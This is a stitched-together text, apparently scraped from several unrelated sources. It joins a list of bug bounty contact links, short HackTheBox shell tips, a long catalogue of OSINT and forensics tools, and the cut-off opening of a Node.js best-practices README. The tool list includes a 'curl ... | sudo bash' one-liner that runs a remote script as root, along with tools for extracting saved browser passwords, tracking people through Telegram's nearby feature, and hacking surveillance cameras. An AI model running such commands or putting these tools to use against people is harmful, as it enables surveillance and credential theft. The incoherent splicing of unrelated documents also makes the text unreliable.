[NZRS](mailto:[email protected]) - [Offensive Security](mailto:[email protected]) - [ok.ru](https://hackerone.com/ok) - [OKCoin](https://cobalt.io/okcoin) - [OkCupid](https://hackerone.com/okcupid) - [Olark](mailto:[email protected]) - [Opal Cryptocurrency](https://cobalt.io/opal-cryptocurrency) - [Openfolio](https://hackerone.com/openfolio) - [OpenSSL](https://hackerone.com/ibb-openssl) - [OpenStack](https://security.openstack.org/#how-to-report-security-issues-to-openstack) - [OpenText](mailto:[email protected]) - [Opera](https://bugs.opera.com/wizarddesktop) - [Optimizely](https://cobalt.io/optimizely) - [Oracle](mailto:[email protected]) - [ownCloud](https://hackerone.com/owncloud) - [PagerDuty](mailto:[email protected]) - [Panasonic Avionics](https://hackerone.com/panasonic-aero) - [Pantheon](https://bugcrowd.com/pantheon) - [Panzura](mailto:[email protected]) - [Paragon Initiative Enterprises](https://hackerone.com/paragonie) - [Paychoice](mailto:[email protected]) - [PayMill](mailto:[email protected]) - [PayPal](mailto:https://www.paypal.com/bugbounty/register) - [Perl](https://hackerone.com/ibb-perl) - [Phabricator](https://hackerone.com/phabricator) - [PHP](https://bugs.php.net/report.php) - [Pidgin](mailto:[email protected]) - [PikaPay](mailto:[email protected]) - [PinoyHackNews](mailto:[email protected]) - [Pinterest](https://bugcrowd.com/pinterest) - [Piwik Open Source Analytics](https://cobalt.io/piwik-open-source-analytics) - [Plone](mailto:[email protected]) - [Pocket](mailto:[email protected]) - [Poloniex](https://cobalt.io/poloniex) - [Postmark](https://wildbit.wufoo.com/forms/wildbit-security-response) - [Prezi](mailto:[email protected]) - [Projectplace](https://hackerone.com/projectplace) - [PullReview](mailto:[email protected]) - [Puppet labs](mailto:[email protected]) - [PureVPN](https://bugcrowd.com/purevpn) - [Python](mailto:[email protected]) - [QIWI](https://hackerone.com/qiwi) - [Quadriga CX](https://cobalt.io/quadriga-cx) - [QuickBT](https://cobalt.io/quickbt) - [Rackspace](mailto:[email protected]) - [Rdbhost_service](https://cobalt.io/rdbhost-service) - [Red Hat](mailto:[email protected]) - [Reddit](mailto:[email protected]) - [Relaso](mailto:[email protected]) - [RelateIQ](mailto:[email protected]) - [Release Wire](http://www.releasewire.com/about/contact) - [Respondly](https://hackerone.com/respondly) - [Revive Adserver](https://hackerone.com/revive_adserver) - [Ribose](https://www.ribose.com/feedbacks/security) - [Ripio](https://cobalt.io/ripio) - [Ripple](mailto:[email protected]) - [Riskalyze](mailto:[email protected]) - [Romit](https://hackerone.com/romit) - [Ruby](mailto:[email protected]) - [Ruby on Rails](https://hackerone.com/rails) - [Salesforce](mailto:[email protected]) - [Samsung TV](https://samsungtvbounty.com/ReportBug.aspx) - [Sandbox Escape](https://hackerone.com/sandbox) - [SAP](mailto:[email protected]) - [Schuberg Philis](mailto:[email protected]) - [Scorpion Software](mailto:[email protected]) - [Secret](https://hackerone.com/secret) - [Secure Works](mailto:[email protected]) - [Sellfy](http://docs.sellfy.com/contact) - [ServiceRocket](https://bugcrowd.com/servicerocket) - [ShareLaTeX](mailto:[email protected]) - [Sherpany](https://cobalt.io/sherpany) - [Shopify](https://hackerone.com/shopify) - [Sifter](mailto:[email protected]?subject=%27Security%20Vulnerability%20Report%27) - [Silent Circle](https://bugcrowd.com/silentcircle) - [Simple](https://bugcrowd.com/simple) - [SiteGround](mailto:[email protected]) - [Skoodat](mailto:[email protected]) - [Skrill](https://cobalt.io/skrill) - [Slack](https://hackerone.com/slack) - [Snapchat](https://hackerone.com/snapchat) - [Snappy](mailto:[email protected]) - [Sonatype](mailto:[email protected]) - [Sony](https://secure.sony.net/form) - [SoundCloud](https://scsecurity.freshdesk.com/support/tickets/new) - [SpectroCoin](https://cobalt.io/spectrocoin) - [Spendbitcoins](https://cobalt.io/spendbitcoins) - [SplashID](https://bugcrowd.com/splashid) - [Splitwise](mailto:[email protected]) - [Spotify](mailto:[email protected]) - [Sprout Social](mailto:[email protected]) - [Square](https://hackerone.com/square) - [Square Open Source](https://hackerone.com/square-open-source) - [StatusPage](https://bugcrowd.com/sunrise) - [StopTheHacker](https://hackerone.com/stopthehacker) - [Subledger](https://cobalt.io/subledger) - [Subrosa](https://cobalt.io/subrosa) - [Sucuri](https://hackerone.com/sucuri) - [Symantec](mailto:[email protected]) - [Taptalk](https://hackerone.com/taptalk) - [Tarsnap](mailto:[email protected]) - [TeamUnify](mailto:[email protected]) - [Tele2](mailto:[email protected]) - [Telekom](mailto:[email protected]?subject=bug_bounty) - [The Internet](https://hackerone.com/internet) - [The Mastercoin Foundation](https://cobalt.io/the-mastercoin-foundation) - [ThisData](https://hackerone.com/thisdata) - [TimeTrex](https://cobalt.io/timetrex) - [ToyTalk](https://hackerone.com/toytalk) - [Trello](https://hackerone.com/trello) - [Tuenti](http://corporate.tuenti.com/en/contact/security) - [Twilio](https://bugcrowd.com/twilio) - [Twitch](mailto:[email protected]) - [Twitter](https://hackerone.com/twitter) - [Uber](mailto:[email protected]) - [Ubiquiti Networks](https://hackerone.com/ubnt) - [Unitag](mailto:[email protected]) - [Urban Dictionary](https://hackerone.com/urbandictionary) - [Uzbey](https://hackerone.com/uzbey) - [Valve Software](mailto:[email protected]) - [VCE](mailto:[email protected]) - [Venmo](mailto:[email protected]) - [Version Cake](https://hackerone.com/versioncake) - [Viadeo](mailto:[email protected]) - [Vimeo](https://hackerone.com/vimeo) - [VK.com](https://hackerone.com/vkcom) - [Volusion](https://bugcrowd.com/volusion) - [VPNSox](https://cobalt.io/vpnsox) - [vulners.com](https://hackerone.com/vulnerscom) - [Vultr](https://www.vultr.com/bug-bounty/) - [Webconverger](mailto:[email protected]) - [Websecurify](http://campaigns.websecurify.com/money-for-bugs/#contact) - [Weebly](https://cobalt.io/weebly) - [WePay](https://hackerone.com/wepay) - [Whisper](https://hackerone.com/whisper) - [WHMCS](https://bugcrowd.com/whmcs) - [Windthorst ISD](http://www.windthorstisd.net/BugReport.cfm) - [withinsecurity](https://hackerone.com/withinsecurity) - [WizeHive](mailto:[email protected]) - [WordPoints](https://hackerone.com/wordpoints) - [Wordware](https://cobalt.io/wordware) - [WP API](https://hackerone.com/wp-api) - [Xen Project](mailto:[email protected]) - [Xmarks](mailto:[email protected]) - [Yahoo](https://hackerone.com/yahoo) - [Yandex](https://yandex.com/bugbounty/report) - [Yanomo](mailto:[email protected]) - [Yesware](mailto:[email protected]) - [Zapier](mailto:[email protected]) - [Zaption](https://hackerone.com/zaption) - [ZenCash](mailto:[email protected]) - [Zendesk](https://hackerone.com/zendesk) - [Zetetic](mailto:[email protected]) - [Ziggo](mailto:[email protected]) - [Zimbra](mailto:[email protected]) - [Zoho](https://bugbounty.zoho.com/bb/info) - [Zomato](https://hackerone.com/zomato) - [Zopim](https://hackerone.com/zopim) - [Zynga](mailto:[email protected])
# hackthebox List of Completed Boxes Tips Spawn py shell - `python -c "import pty; pty.spawn('/bin/bash')"` Simple Http Server `python -m SimpleHTTPServer 80` See running process id `ps` To kill `kill -9 pid`
### Cheat Sheet - OSINT 🕵🏽‍♂️ https://piratemoo.gitbook.io/moo/moosint/osint ### An online tool to visualize the relationships of different entry points in an investigation (domain, email, phone, person etc). Extreme simplified analog of Maltego. https://app.netlas.io/asd/ ### Social Media #OSINT Tools Collection 👨🏽‍💻 🔗https://github.com/osintambition/Social-Media-OSINT-Tools-Collection ### Tools and packages that are used for countering forensic activities, including encryption, steganography, and anything that modify attributes. https://github.com/shadawck/awesome-anti-forensic ### OSINT Toolkit is a full-stack web application designed to assist security analysts in their work https://github.com/dev-lu/osint_toolkit ### imago-forensics 🕵️ Imago is a python tool that extract digital evidences from images recursively. This tool is useful throughout a digital forensic investigation. https://github.com/redaelli/imago-forensics ### 🕵️ Collection of 4000+ OSINT resources https://metaosint.github.io/table/ ### Avilla Forensics 3.0 / Tool for pollice investigation forensics Whatsapp-Signal other poppular apps message https://github.com/AvillaDaniel/AvillaForensics ### BBHTv2 ### A single script for all the tools you need for bug bounty. Thanks to the original creator of bbhtv1 for the idea >> https://github.com/nahamsec ### Bug Bounty Hunting Tools is a script to install the most popular tools ### One-Liner Install curl https://raw.githubusercontent.com/unethicalnoob/BBHTv2/master/bbhtv2.sh | sudo bash ### Tools OSINT/FORENSICS MOBILE Features ### A collection of tools (+ some theory) for cell phone related investigations https://github.com/CScorza/OSINT-FORENSICS-MOBILE ### So what is this all about? Yep, its an OSINT blog and a collection of OSINT resources and tools. Suggestions for new OSINT resources is always welcomed. https://github.com/OhShINT/ohshint.gitbook.io ### Documentation and Sharing Repository for ThreatPinch Lookup Chrome & Firefox Extension https://github.com/cloudtracer/ThreatPinchLookup ### A tool to quickly identify relevant, publicly-available open source intelligence ("OSINT") tools and resources, saving valuable time during investigations, research, and analysis. https://github.com/MetaOSINT/MetaOSINT.github.io ### Geospatial Intelligence Library This repository contains a curated list of open source intelligence tools and resources focused on geolocation and chronolocation. A bookmark version of the most recent iteration of the following recourses is also available. https://github.com/cartographia/geospatial-intelligence-library ### Protintelligence is a Python script for the Cyber Community. It also uses NeutrOSINT made by Kr0wZ. Will help you get info on Protonmail accounts and users, ProtonVPN IP adresses, ProtonMail users' PGP Keys, Digital Footprints left by the ProtonMail user on the Clear and Dark Web https://github.com/C3n7ral051nt4g3ncy/Prot1ntelligence ### Current links from the OSINT Inception start-me project https://github.com/C3n7ral051nt4g3ncy/OSINT_Inception-links ### Bevigil-cli provides a unified command line interface and python library for using BeVigil OSINT API. https://github.com/Bevigil/BeVigil-OSINT-CLI ### cURL Tool Usage for OSINT (Open-Source Intelligence) https://github.com/C3n7ral051nt4g3ncy/cURL_for_OSINT ### Social Analyzer - API, CLI, and Web App for analyzing & finding a person's profile across +1000 social media \ websites. It includes different analysis and detection modules, and you can choose which modules to use during the investigation process. https://github.com/qeeqbox/social-analyzer ### Complete list of sites where you can download the Distros that may be useful to those who are about to or are already in an advanced state in the context of OSINT, Penetration Testing, Digital Forensics and therefore also of Information Security. https://github.com/CScorza/DistroForensics ### A set of social media OSINT tools that I use when participating in Trace Labs Search Party CTF https://github.com/LinaYorda/OSINTtools ### About This toolkit aims to help forensicators perform different kinds of acquisitions on iOS devices https://github.com/jfarley248/MEAT ### 📱 Andriller - is software utility with a collection of forensic tools for smartphones. It performs read-only, forensically sound, non-destructive acquisition from Android devices. https://github.com/den4uk/andriller ### LinkedIn enumeration tool to extract valid employee names from an organization through search engine scraping. https://github.com/m8sec/CrossLinked ### OSINT ADVANCING YOUR EMAIL INVESTIGATIONS USING IKY https://github.com/kennbroorg/iKy ### OSINT automation for hackers. https://github.com/blacklanternsecurity/bbot ### Citizen Intelligence Agency, open-source intelligence (OSINT) project https://github.com/Hack23/cia ### This toolkit aims to help forensicators perform different kinds of acquisitions on iOS devices https://github.com/jfarley248/MEAT ### Simple Imager has been created for performing live acquisition of Windows based systems in a forensically sound manner https://github.com/QXJ6YW4/SimpleImager ### Autoexif want to remove sensitive data from photos or even view it? use autoexif to easily help you do that no more remembering syntaxs, -note: this is now merged into snd and phisherprice https://github.com/SirCryptic/autoexif ### Sabonis, a Digital Forensics and Incident Response pivoting tool https://github.com/thedfirofficer/sabonis ### Scraping LegiFrance naturalisation decrees for fun and OSINT profit https://github.com/vadimkantorov/natudump ### An OSINT tool to search for accounts by username in social networks https://github.com/p1ngul1n0/blackbird ### Ransomware groups posts https://github.com/privtools/ransomposts ### Public release of Telepathy, an OSINT toolkit for investigating Telegram chats. https://github.com/jordanwildon/Telepathy ### An Open Source Intelligence Framework to investigate and keep track of the investigation of a certain individual https://github.com/MustafaAP/pinosint ### OSINT tool to scrape names and usernames from large friend lists on Facebook, without being rate limited. https://github.com/narkopolo/fb_friend_list_scraper ### 🕵️‍♂️ Offensive Google framework. https://github.com/mxrch/GHunt ### ### Docker image for osint https://github.com/Vault-Cyber-Security/osint ### Python Pentester Tool - easily add/create plugins, available in command line tool and module. https://github.com/HarryLudemann/Ngoto ### Exif Looter:-- ExifLooter finds geolocation on all image urls and directories also integrates with OpenStreetMap. https://github.com/aydinnyunus/exifLooter ### This tool gives information about the phone number that you entered. https://github.com/AzizKpln/Moriarty-Project ### List of OSINT resources https://github.com/romz0mbie/OSINT-Lists ### GooFuzz is a tool to perform fuzzing with an OSINT approach, managing to enumerate directories, files, subdomains or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking). https://github.com/m3n0sd0n4ld/GooFuzz ### The best tools and resources for forensic analysis https://github.com/HSNHK/Computer-forensics ### SpiderFoot automates OSINT for threat intelligence and mapping your attack surface. https://github.com/smicallef/spiderfoot ### Hayabusa Hayabusa is a sigma-based threat hunting and fast forensics timeline generator for Windows event logs written in Rust. : https://github.com/Yamato-Security/hayabusa ### Awesome forensics A curated list of awesome forensic analysis tools and resources. : https://github.com/patronuscode/awesome-forensics ### MVT MVT (Mobile Verification Toolkit) helps with conducting forensics of mobile devices in order to find signs of a potential compromise.: https://github.com/mvt-project/mvt ### FireFox Security Researcher Configure FireFox with Security and Intelligance features for OSINT and Security Investigations. https://github.com/simeononsecurity/FireFox-Security-Researcher ### Iris Web Collaborative Incident Response platform. : https://github.com/dfir-iris/iris-web ### Offensive OSINT Blog https://www.offensiveosint.io/ ### Judge Jury and Executable A file system forensics analysis scanner and threat hunting tool. Scans file systems at the MFT and OS level and stores data in SQL, SQLite or CSV. Threats and data can be probed harnessing the power and syntax of SQL. : https://github.com/AdamWhiteHat/Judge-Jury-and-Executable ### Forensics Tools A list of free and open forensics analysis tools and other resources. : https://github.com/mesquidar/ForensicsTools ### Commit-stream OSINT tool for finding Github repositories by extracting commit logs in real time from the Github event API. : https://github.com/x1sec/commit-stream ### Quidam Quidam allows you to retrieve information thanks to the forgotten password function of some sites.: https://github.com/megadose/Quidam ### Quidam maltego transform https://github.com/megadose/quidam-maltego ### OnionSearch OnionSearch is a script that scrapes urls on different .onion search engines. : https://github.com/megadose/OnionSearch ### Linux explorer Easy-to-use live forensics toolbox for Linux endpoints. : https://github.com/intezer/linux-explorer ### DaProfiler DaProfiler allows you to get emails, social medias, adresses, works and more on your target using web scraping and google dorking techniques, based in France Only. The particularity of this program is its ability to find your target's e-mail adresses.: https://github.com/daprofiler/DaProfiler ### Collection OSINT resources and tools So what is this all about? Yep, its an OSINT blog and a collection of OSINT resources and tools.: https://github.com/OhShINT/ohshint.gitbook.io ### Tools and techniques related with Cloud Osint A repository with information related to differnet resources, tools and techniques related with Cloud OSINT. : https://github.com/7WaySecurity/cloud_osint ### Forensics Toolkit for image ,audio,network and disk image analyis. Major tools used for Digital Forensic Investigation, includes tools used for Image, Audio, Memory, Network and Disk Image data analysis. Helpful resource for CTF Challenges. : https://github.com/karthik997/Forensic_Toolkit ### Rapid7 OSINT All the tools you need to make your own mind up from the Open Data Sets.: https://github.com/tg12/rapid7_OSINT ### Mihari A tool for OSINT based threat hunting. : https://github.com/ninoseki/mihari ### TRACEE Tracee: Runtime Security and Forensics using eBPF. : https://github.com/aquasecurity/tracee ### Tlosint live Trace Labs OSINT Linux Distribution based on Kali.: https://github.com/tracelabs/tlosint-live ### gOSINT OSINT Swiss Army Knife https://github.com/Nhoya/gOSINT ### Karma v2 K𝚊𝚛𝚖𝚊 𝚟𝟸 is a Passive Open Source Intelligence. : (OSINT) Automated Reconnaissance (framework) https://github.com/Dheerajmadhukar/karma_v2 ### Secure ELF Secure ELF parsing/loading library for forensics reconstruction of malware, and robust reverse engineering tools. : https://github.com/elfmaster/libelfmaster ### Toutatis Toutatis is a tool that allows you to extract information from instagrams accounts such as e-mails, phone numbers and more. : https://github.com/megadose/toutatis ### Octosuite Octosuite :-- Advanced Github OSINT Framework. : https://github.com/rly0nheart/octosuite ### Should i trust OSINT tool to evaluate the trustworthiness of a company. : https://github.com/ericalexanderorg/should-i-trust ### Forensix Google Chrome forensic tool to process, analyze and visualize browsing artifacts. : https://github.com/ChmaraX/forensix ### Sub3suite A free, open source, cross platform Intelligence gathering tool. : https://github.com/3nock/sub3suite ### Live Forensicator Powershell Script to aid Incidence Response and Live Forensics: https://github.com/Johnng007/Live-Forensicator ### Profil3r OSINT tool that allows you to find a person's accounts and emails + breached emails: https://github.com/Greyjedix/Profil3r ### Infoooze Infoooze is an Open-source intelligence (OSINT) tool in NodeJs. It provides various modules that allow efficient searches. : https://github.com/7ORP3DO/infoooze ### Oblivion Oblivion is a tool focused in real time monitoring of new data leaks, notifying if the credentials of the user has been leak out. It's possible too verify if any credential of user has been leak out before. : https://github.com/loseys/Oblivion/tree/0f5619ecba6a9b1ebc6dc6f4988ef6c542bf8ca3 ### Mr.Holmes 🔍 A Complete Osint Tool : https://github.com/Lucksi/Mr.Holmes ### AVOSINT A tool to search Aviation-related intelligence from public sources. : https://github.com/n0skill/AVOSINT ### Darvester PoC OSINT Discord user and guild information harvester : https://github.com/V3ntus/darvester ### Ghost Recon An OSINT framework updated weekly, wich with you can search on precise targets, with a lot of features like person search, criminal search, or social media scanning with eamail/phone, and ip changer. : https://github.com/DR34M-M4K3R/GhostRecon ### Collector Collector is a tool for osint (open source intelligence). : https://github.com/galihap76/collector ### Twayback Automate downloading archived deleted ets.: https://github.com/Mennaruuk/twayback ### Opensquat Detection of phishing domains and domain squatting. Supports permutations such as homograph attack, typosquatting and bitsquatting. : https://github.com/atenreiro/opensquat ### Telegram Trilateration Proof of concept for abusing Telegram's "People Near Me" feature and tracking people's location: https://github.com/jkctech/Telegram-Trilateration ### Telegram Nearby Map Discover the location of nearby Telegram users 📡🌍 : https://github.com/tejado/telegram-nearby-map Holehe allows you to check if the mail is used on different sites like twitter, instagram and will retrieve information on sites with the forgotten password function. https://github.com/megadose/holehe ### Holehe Maltego Transform https://github.com/megadose/holehe-maltego ### Terra OSINT Tool on Twitter and Instagram. : https://github.com/xadhrit/terra ### Prosint ProtOSINT is a Python script that helps you investigate Protonmail accounts and ProtonVPN IP addresses https://github.com/pixelbubble/ProtOSINT ### Toolkit A toolkit for the post-mortem examination of Docker containers from forensic HDD copies https://github.com/docker-forensics-toolkit/toolkit ### iOS Frequent Locations Dumper Dump the iOS Frequent Location binary plist files https://github.com/mac4n6/iOS-Frequent-Locations-Dumper ### Whapa Whapa is a set of graphical forensic tools to analyze whatsapp from Android and soon iOS devices. All the tools have been written in Python 3.8 and have been tested on linux, windows and macOS systems. https://github.com/B16f00t/whapa ### Kupa3 Tracking the trackers. Draw connections between scripts and domains on website. https://github.com/woj-ciech/kupa3 ### Abuse Insight To extract the usernames attempted by a compromised host. This information is obtained from Abuse IP DB, reports' comments. : https://github.com/west-wind/abuse-insights ### Octosuite Advanced Github OSINT Framework : https://github.com/rly0nheart/octosuite ### Kamerka Gui Ultimate Internet of Things/Industrial Control Systems reconnaissance tool. https://github.com/woj-ciech/Kamerka-GUI ### Social Path Track users across social media platform https://github.com/woj-ciech/SocialPath ### Osint stuff tool collection A collection of several hundred online tools for OSINT https://github.com/cipher387/osint_stuff_tool_collection ### Teler Real-time HTTP Intrusion Detection. : https://github.com/kitabisa/teler ### ArreStats A Search Tool created to explore the FBI's nj arrest file. Created For Hack Jersey 2.0 https://github.com/CarlaAstudillo/ArreStats ### OSINT JUMP This virtual machine image is intended for open source offensive reconnaissance. The iso image of the kali linux NetInstall operating system is taken as a basis. Other required packages were installed manually. The image includes the following packages.: https://github.com/delikely/OSINT-JUMP ### Infoga Infoga - Collection of information by e-mail https://github.com/m4ll0k/Infoga ### Crime data explorer Chief report of the FBI crime data explorer project https://github.com/18F/crime-data-explorer ### PDFMtEd Pdfmted (PDF Metadata Editor) is a set of tools designed to simplify work with pdf metadata on Linux. The utilities hosted in this repository are graphic interfaces for the wonderful exiftool of Phil Harvey. https://github.com/glutanimate/PDFMtEd ### Audio metadata Extract Metadata from several audio containers https://github.com/tmont/audio-metadata ### Gesmask Information gathering tool - OSINT https://github.com/twelvesec/gasmask ### Check ifemail exists Check if there is an e-mail address without sending any email. Use Telnet. https://github.com/amaurymartiny/check-if-email-exists ### App Metadata Provides Metadata extraction for IOS, Android and windows packages. https://github.com/Microsoft/app-metadata ### ANDROPHSY An Open-Source Mobile Forensic Research Tool for android platform https://github.com/scorelab/ANDROPHSY ### RdpCacheStitcher RdpCacheStitcher is a tool that supports forensic analysts in reconstructing useful images out of RDP cache bitmaps. - https://github.com/BSI-Bund/RdpCacheStitcher ### Androidqf Androidqf (Android Quick Forensics) helps quickly gathering forensic evidence from Android devices, in order to identify potential traces of compromise. - https://github.com/botherder/androidqf ### IPED IPED is an open source software that can be used to process and analyze digital evidence, often seized at crime scenes by law enforcement or in a corporate investigation by private examiners. - https://github.com/sepinf-inc/IPED ### Turbinia Automation and automation of digital forensic tools https://github.com/google/turbinia ### Chrome Extractor Script that will extract all the passwords stored from your Google Chrome Database and will keep them in Chrome. Txt txt txt txt txt txt txt txt txt https://github.com/D4Vinci/Chrome-Extractor ### Firefox Decrypt Firefox decrypt is a tool to extract passwords from Mozilla Profiles (Firefox / Thunderbird / Seabird) https://github.com/unode/firefox_decrypt ### Ip Geolocation Recover information from ip geolocation https://github.com/maldevel/IPGeoLocation ### Cameradar Cameradar hacks its way into RTSP videosurveillance cameras https://github.com/Ullaakut/cameradar ### Power Forensic Powerforensics is a framework for forensic analysis of live records https://github.com/Invoke-IR/PowerForensics ### Face Recognition The World's simplest facial recognition api for python and the command line https://github.com/ageitgey/face_recognition
[✔]: assets/images/checkbox-small-blue.png # Node.js Best Practices <h1 align="center"> <img src="assets/images/banner-2.jpg" alt="Node.js Best Practices"/> </h1> <br/> <div align="center"> <img src="https://img.shields.io/badge/⚙%20Item%20count%20-%20102%20Best%20Practices-blue.svg" alt="102 items"/> <img id="last-update-badge" src="https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20July%2019%2C%202023-green.svg" alt="Last update: July 19, 2023" /> <img src="https://img.shields.io/badge/ %E2%9C%94%20Updated%20For%20Version%20-%20Node%2019.0.0-brightgreen.svg" alt="Updated for Node 19.0.0"/> </div> <br/> [<img src="assets/images/twitter.svg" width="16" height="16" alt="" />](https://twitter.com/nodepractices/) **Follow us on Twitter!** [**@nodepractices**](https://twitter.com/nodepractices/) <br/> Read in a different language: [![CN](./assets/flags/CN.png)**CN**](./README.chinese.md), [![FR](./assets/flags/FR.png)**FR**](./README.french.md), [![BR](./assets/flags/BR.png)**BR**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**RU**](./README.russian.md), [![PL](./assets/flags/PL.png)**PL**](./README.polish.md), [![JA](./assets/flags/JA.png)**JA**](./README.japanese.md), [![EU](./assets/flags/EU.png)**EU**](./README.basque.md) [(![ES](./assets/flags/ES.png)**ES**, ![HE](./assets/flags/HE.png)**HE**, ![KR](./assets/flags/KR.png)**KR** and ![TR](./assets/flags/TR.png)**TR** in progress! )](#translations) <br/> # 🎊 2023 edition is here! - **🛰 Modernized to 2023**: Tons of text edits, new recommended libraries, and some new best practices - **✨ Easily focus on new content**: Already visited before? Search for `#new` or `#updated` tags for new content only - **🔖 Curious to see examples? We have a starter**: Visit [Practica.js](https://github.com/practicajs/practica), our application example and boilerplate (beta) to see some practices in action <br/><br/> # Welcome! 3 Things You Ought To Know First **1. You are reading dozens of the best Node.js articles -** this repository is a summary and curation of the top-ranked content on Node.js best practices, as well as content written here by collaborators **2. It is the largest compilation, and it is growing every week -** currently, more than 80 best practices, style guides, and architectural tips are presented. New issues and pull requests are created every day to keep this live book updated. We'd love to see you contributing here, whether that is fixing code mistakes, helping with translations, or suggesting brilliant new ideas. See our [writing guidelines here](./.operations/writing-guidelines.md) **3. Best practices have additional info -** most bullets include a **🔗Read More** link that expands on the practice with code examples, quotes from selected blogs, and more information <br/><br/> # By Yoni Goldberg ### Learn with me: As a consultant, I engage with worldwide teams on various activities like workshops and code reviews. 🎉AND... Hold on, I've just launched my [beyond-the-basics testing course, which is on a 🎁 limited-time sale](https://testjavascript.com/) until August 7th <br/><br/> ## Table of Contents <details> <summary> <a href="#1-project-architecture-practices">1. Project Architecture Practices (6)</a> </summary> &emsp;&emsp;[1.1 Structure your solution by components `#strategic` `#updated`](#-11-structure-your-solution-by-business-components)</br> &emsp;&emsp;[1.2 Layer your components, keep the web layer within its boundaries `#strategic` `#updated`](#-12-layer-your-components-with-3-tiers-keep-the-web-layer-within-its-boundaries)</br> &emsp;&emsp;[1.3 Wrap common utilities as packages, consider publishing](#-13-wrap-common-utilities-as-packages-consider-publishing)</br> &emsp;&emsp;[1.4 Use environment aware, secure and hierarchical config `#updated`](#-14-use-environment-aware-secure-and-hierarchical-config)</br> &emsp;&emsp;[1.5 Consider all the consequences when choosing the main framework `#new`](#-15-consider-all-the-consequences-when-choosing-the-main-framework)</br> &emsp;&emsp;[1.6 Use TypeScript sparingly and thoughtfully `#new`](#-16-use-typescript-sparingly-and-thoughtfully)</br> </details> <details> <summary> <a href="#2-error-handling-practices">2. Error Handling Practices (12)</a> </summary> &emsp;&emsp;[2.1 Use Async-Await or promises for async error handling](#-21-use-async-await-or-promises-for-async-error-handling)</br> &emsp;&emsp;[2.2 Extend the built-in Error object `#strategic` `#updated`](#-22-extend-the-built-in-error-object)</br> &emsp;&emsp;[2.3 Distinguish operational vs programmer errors `#strategic` `#updated`](#-23-distinguish-catastrophic-errors-from-operational-errors)</br> &emsp;&emsp;[2.4 Handle errors centrally, not within a middleware `#strategic`](#-24-handle-errors-centrally-not-within-a-middleware)</br> &emsp;&emsp;[2.5 Document API errors using OpenAPI or GraphQL](#-25-document-api-errors-using-openapi-or-graphql)</br> &emsp;&emsp;[2.6 Exit the process gracefully when a stranger comes to town `#strategic`](#-26-exit-the-process-gracefully-when-a-stranger-comes-to-town)</br> &emsp;&emsp;[2.7 Use a mature logger to increase errors visibility `#updated`](#-27-use-a-mature-logger-to-increase-errors-visibility)</br> &emsp;&emsp;[2.8 Test error flows using your favorite test framework `#updated`](#-28-test-error-flows-using-your-favorite-test-framework)</br> &emsp;&emsp;[2.9 Discover errors and downtime using APM products](#-29-discover-errors-and-downtime-using-apm-products)</br> &emsp;&emsp;[2.10 Catch unhandled promise rejections `#updated`](#-210-catch-unhandled-promise-rejections)</br> &emsp;&emsp;[2.11 Fail fast, validate arguments using a dedicated library](#-211-fail-fast-validate-arguments-using-a-dedicated-library)</br> &emsp;&emsp;[2.12 Always await promises before returning to avoid a partial stacktrace `#new`](#-212-always-await-promises-before-returning-to-avoid-a-partial-stacktrace)</br> &emsp;&emsp;[2.13 Subscribe to event emitters 'error' event `#new`](#-213-subscribe-to-event-emitters-and-streams-error-event)</br> </details> <details> <summary> <a href="#3-code-patterns-and-style-practices">3. Code Style Practices (12)</a> </summary> &emsp;&emsp;[3.1 Use ESLint `#strategic`](#-31-use-eslint)</br> &emsp;&emsp;[3.2 Use Node.js eslint extension plugins `#updated`](#-32-use-nodejs-eslint-extension-plugins)</br> &emsp;&emsp;[3.3 Start a Codeblock's Curly Braces on the Same Line](#-33-start-a-codeblocks-curly-braces-on-the-same-line)</br> &emsp;&emsp;[3.4 Separate your statements properly](#-34-separate-your-statements-properly)</br> &emsp;&emsp;[3.5 Name your functions](#-35-name-your-functions)</br> &emsp;&emsp;[3.6 Use naming conventions for variables, constants, functions and classes](#-36-use-naming-conventions-for-variables-constants-functions-and-classes)</br> &emsp;&emsp;[3.7 Prefer const over let. Ditch the var](#-37-prefer-const-over-let-ditch-the-var)</br> &emsp;&emsp;[3.8 Require modules first, not inside functions](#-38-require-modules-first-not-inside-functions)</br> &emsp;&emsp;[3.9 Set an explicit entry point to a module/folder `#updated`](#-39-set-an-explicit-entry-point-to-a-modulefolder)</br> &emsp;&emsp;[3.10 Use the === operator](#-310-use-the--operator)</br> &emsp;&emsp;[3.11 Use Async Await, avoid callbacks `#strategic`](#-311-use-async-await-avoid-callbacks)</br> &emsp;&emsp;[3.12 Use arrow function expressions (=>)](#-312-use-arrow-function-expressions-)</br> &emsp;&emsp;[3.13 Avoid effects outside of functions `#new`](#-313-avoid-effects-outside-of-functions)</br> </details> <details> <summary> <a href="#4-testing-and-overall-quality-practices">4. Testing And Overall Quality Practices (13)</a> </summary> &emsp;&emsp;[4.1 At the very least, write API (component) testing `#strategic`](#-41-at-the-very-least-write-api-component-testing)</br> &emsp;&emsp;[4.2 Include 3 parts in each test name `#new`](#-42-include-3-parts-in-each-test-name)</br> &emsp;&emsp;[4.3 Structure tests by the AAA pattern `#strategic`](#-43-structure-tests-by-the-aaa-pattern)</br> &emsp;&emsp;[4.4 Ensure Node version is unified `#new`](#-44-ensure-node-version-is-unified)</br> &emsp;&emsp;[4.5 Avoid global test fixtures and seeds, add data per-test `#strategic`](#-45-avoid-global-test-fixtures-and-seeds-add-data-per-test)</br> &emsp;&emsp;[4.6 Tag your tests `#advanced`](#-46-tag-your-tests)</br> &emsp;&emsp;[4.7 Check your test coverage, it helps to identify wrong test patterns](#-47-check-your-test-coverage-it-helps-to-identify-wrong-test-patterns)</br> &emsp;&emsp;[4.8 Use production-like environment for e2e testing](#-48-use-production-like-environment-for-e2e-testing)</br> &emsp;&emsp;[4.9 Refactor regularly using static analysis tools](#-49-refactor-regularly-using-static-analysis-tools)</br> &emsp;&emsp;[4.10 Mock responses of external HTTP services #advanced `#new` `#advanced`](#-410-mock-responses-of-external-http-services)</br> &emsp;&emsp;[4.11 Test your middlewares in isolation](#-411-test-your-middlewares-in-isolation)</br> &emsp;&emsp;[4.12 Specify a port in production, randomize in testing `#new`](#-412-specify-a-port-in-production-randomize-in-testing)</br> &emsp;&emsp;[4.13 Test the five possible outcomes #strategic `#new`](#-413-test-the-five-possible-outcomes)</br> </details> <details> <summary> <a href="#5-going-to-production-practices">5. Going To Production Practices (19)</a> </summary> &emsp;&emsp;[5.1. Monitoring `#strategic`](#-51-monitoring)</br> &emsp;&emsp;[5.2. Increase the observability using smart logging 